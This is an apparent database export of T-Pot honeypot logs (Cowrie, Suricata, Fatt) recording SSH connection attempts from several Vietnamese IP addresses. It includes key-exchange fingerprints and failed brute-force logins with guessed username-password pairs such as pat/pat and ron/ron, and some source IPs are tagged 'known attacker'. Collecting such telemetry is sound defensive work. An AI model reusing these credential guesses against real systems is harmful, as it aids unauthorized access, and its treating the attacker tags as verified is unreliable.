"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27508	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:51.547282+03	2021-09-20 14:15:14.677647+03	{"_id": "VQbqAnwBvYTbRNuEdSgu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1649911367984509, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42138, "dest_port": 22, "timestamp": "2021-09-20T11:14:51.547282Z", "@timestamp": "2021-09-20T11:14:51.547Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27509	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:51.547687+03	2021-09-20 14:15:14.678646+03	{"_id": "VgbqAnwBvYTbRNuEdiho", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42138, "dest_port": 22, "timestamp": "2021-09-20T11:14:51.547687", "@timestamp": "2021-09-20T11:14:51.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27512	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:43.724637+03	2021-09-20 14:15:14.682646+03	{"_id": "GgbqAnwBvYTbRNuEUyj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47784 (192.168.176.2:22) [session: 23171de02f20]", "session": "23171de02f20", "@version": "1", "protocol": "ssh", "src_port": 47784, "dest_port": 22, "timestamp": "2021-09-20T11:14:43.724637Z", "@timestamp": "2021-09-20T11:14:43.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27513	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:44.37985+03	2021-09-20 14:15:14.683648+03	{"_id": "JQbqAnwBvYTbRNuEVyjj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bd5ad0d783e1", "@version": "1", "duration": 3.709157943725586, "timestamp": "2021-09-20T11:14:44.379850Z", "@timestamp": "2021-09-20T11:14:44.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27514	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:44.529613+03	2021-09-20 14:15:14.684645+03	{"_id": "JgbqAnwBvYTbRNuEVyjj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "732d2f5785b2", "@version": "1", "duration": 6.450122833251953, "timestamp": "2021-09-20T11:14:44.529613Z", "@timestamp": "2021-09-20T11:14:44.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27515	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:45.601432+03	2021-09-20 14:15:14.686647+03	{"_id": "LQbqAnwBvYTbRNuEWyjM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [pat/pat] failed", "session": "f827a6411d69", "@version": "1", "password": "pat", "username": "pat", "timestamp": "2021-09-20T11:14:45.601432Z", "@timestamp": "2021-09-20T11:14:45.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27516	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:45.799784+03	2021-09-20 14:15:14.687645+03	{"_id": "LwbqAnwBvYTbRNuEXyi0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "ea5f9ecee006", "@version": "1", "duration": 4.915619850158691, "timestamp": "2021-09-20T11:14:45.799784Z", "@timestamp": "2021-09-20T11:14:45.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27517	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:42.927453+03	2021-09-20 14:15:14.688645+03	{"_id": "IQbqAnwBvYTbRNuEUyj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ayden/ayden] failed", "session": "ea5f9ecee006", "@version": "1", "password": "ayden", "username": "ayden", "timestamp": "2021-09-20T11:14:42.927453Z", "@timestamp": "2021-09-20T11:14:42.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
41649	192.168.20.105	109.199.241.180	Suricata	2021-09-20 16:07:02.331642+03	2021-09-20 16:15:03.190747+03	{"_id": "LQZRA3wBvYTbRNuEJ5D4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.105", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:07:02.331642Z", "@timestamp": "2021-09-20T13:07:02.331Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27518	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:44.277858+03	2021-09-20 14:15:14.689644+03	{"_id": "JAbqAnwBvYTbRNuEVyji", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "23171de02f20", "@version": "1", "timestamp": "2021-09-20T11:14:44.277858Z", "@timestamp": "2021-09-20T11:14:44.277Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27519	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:44.27491+03	2021-09-20 14:15:14.690645+03	{"_id": "JwbqAnwBvYTbRNuEWSjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2096978811148083, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47784, "dest_port": 22, "timestamp": "2021-09-20T11:14:44.274910Z", "@timestamp": "2021-09-20T11:14:44.274Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27520	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:45.905425+03	2021-09-20 14:15:14.692647+03	{"_id": "LgbqAnwBvYTbRNuEXyi0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ron/ron] failed", "session": "23171de02f20", "@version": "1", "password": "ron", "username": "ron", "timestamp": "2021-09-20T11:14:45.905425Z", "@timestamp": "2021-09-20T11:14:45.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27521	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:40.992479+03	2021-09-20 14:15:14.693646+03	{"_id": "AAbqAnwBvYTbRNuESyhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37746, "dest_port": 22, "timestamp": "2021-09-20T11:14:40.992479", "@timestamp": "2021-09-20T11:14:40.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
